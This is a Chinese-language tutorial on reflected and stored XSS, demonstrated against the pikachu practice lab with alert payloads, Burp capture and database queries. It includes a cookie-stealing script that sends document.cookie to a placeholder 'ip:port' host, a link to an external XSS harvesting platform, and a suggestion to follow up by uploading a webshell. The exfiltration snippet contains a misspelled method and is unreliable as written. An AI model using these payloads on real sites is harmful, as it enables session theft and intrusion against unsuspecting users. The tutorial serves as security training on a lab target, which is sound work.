反射型和存储型XSS

前言

Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS
一般分为三种形式：反射型XSS、存储型XSS、DOM型XSS
一般针对前端，防范上通过输入过滤（对输入进行过滤，不允许可能导致XSS攻击的字符输入）、输出转义（根据输出点的位置对输出到前端的内容进行适当转义）进行处理

危害

恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页面的时候，嵌入其中的Web里面的Script代码就会被执行，从而达到恶意攻击用户的目的。恶意用户利用XSS代码攻击成功后,可以得到一些很高的权限(如执行一些操作),私密网页内容、会话

反射型XSS

GET型

XSS和SQLi其实没什么区别，只是XSS是在网站上进行注入，而SQLi是对数据库进行注入，都是对代码进行闭合操作

反射型XSS是非持久的,只具有一次性：攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户，当用户点击时，服务器接受该用户的请求并进行处理，然后把带有XSS的代码发送给用户，用户浏览器解析执行代码,触发XSS漏洞

以pikachu靶场为例

这里如果是输入kobe，返回正常的数据，输入其他的返回not care的回复

这里的XSS由于是GET型，所以直接进行注入即可，在这里的需要用到一部分JavaScript语言

<script>alert('1')</script>

但是在前端会有防御，长度只有20，所以修改前端长度代码，将完整的注入语句注入

得出如下效果，在这里alert就是弹窗的效果，我们输入1即为弹窗内容

当发现XSS注入后，可以利用XSS平台里的代码，获取想要的数据，达到攻击的目的

https://xsshs.cn/xss.php

POST型

POST型和GET型没什么区别，只是GET型的注入通过URL传递，而POST通过表单提交，需要burp进行抓包
直接看这个题目的源码，第一个登陆界面没有什么可以注入的地方

但我们知道输入后对账号进行查找，再对密码进行md5加密，直接查找数据库里的账号，并进行md5解密，得出账号密码

# 查看数据库
show databases;
# 选择pikachu数据库
use pikachu;
# 查看数据表
show tables;
# 拉取uses表
select * from users;
# 得出账号和md5加密密码

md5解码得出密码是123456，并登陆

登陆后是一个和GET型一样的框框，我们输入GET型相同的代码，发现依然可以弹出1，使用burp进行抓包分析

我们发现当我们输入1时，message中出现我们输入的1，猜测在这里进行提交，修改为js代码，弹出1

存储型XSS

存储型XSS是持久性的，攻击脚本存储在目标服务器的数据库中，具有更强的隐蔽性。攻击者在论坛，博客，留言板中，发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中，当用户正常访问时，触发XSS代码

在pikachu中，我们随便输入一些内容，如js代码，我们可以发现它提交后有显示删除的按钮，但没有我们的代码

这里我输入的依然是上述类似的js代码，只是为了区别，alert的内容不一样

<script>alert('hello')</script>

我们进行代码审计，读取源代码，找到存储数据的数据库的表名

在数据库中读取message表，找到我们的js代码

显然，由于输入和输出没有做过滤，每一次用户提交或者刷新后，都会从数据库读取一遍返回到前端，而这个是js代码，前端的效果就是弹一个窗，不会在下面的留言板里面显示

XSS由于是和前端挂钩，所以每次攻击后，可以通过查看页面源代码来判断自己的攻击是否成功，哪里过滤了，从而进行修改攻击行为进行绕过过滤

拓展

Cookie

Cookie是依据HTTP协议，服务器或脚本可以维护客户工作站上信息的一种方式。Cookie是由Web服务器保存在用户浏览器(客户端上的)一个小文本，它可以包含有关用户的信息。

临时Cookie：只在浏览器上保存一段规定的时间，一旦超过规定的时间，该Cookie就会被系统清除。

服务器可以利用Cookies包含信息的任意性来筛选并经常维护这些信息，以判断在HTTP传输中的状态。

Cookies最典型的应用是判定注册用户是否已经登陆过网站，保留用户信息可以简化下一次登陆网站。此外购物车，用户可能在一段时间内同一家网站的不同页面选择不同的商品，这些信息都会被写入Cookies，以便在最后付款时提取信息。

反射型XSS盗取Cookie

存在反射型XSS漏洞的站点位置，可以利用以下链接来盗取Cookie

<script> var img=document.createElment("img");
img.src="http://ip:port/a?"+escape(document.cookie); </script>

进入后台寻找上传点，进一步利用漏洞给上传一句话Webshell(中国菜刀)。

总结

跨站脚本漏洞测试的流程

1. 在目标站点上寻找输入点,搜索框，留言板等
2. 输入恶意代码，查看源码，看是否又对应的处理
3. 根据源码构造闭合
4. 根据构造的脚本代码，看是否能成功执行，如果成功执行则说明存在XSS漏洞。

此外：搜索框容易出现反射型XSS，留言框容易出现存储型XSS。当后台存在过滤措施的时候，我们需要变换不同的script，来尝试绕过后台的限制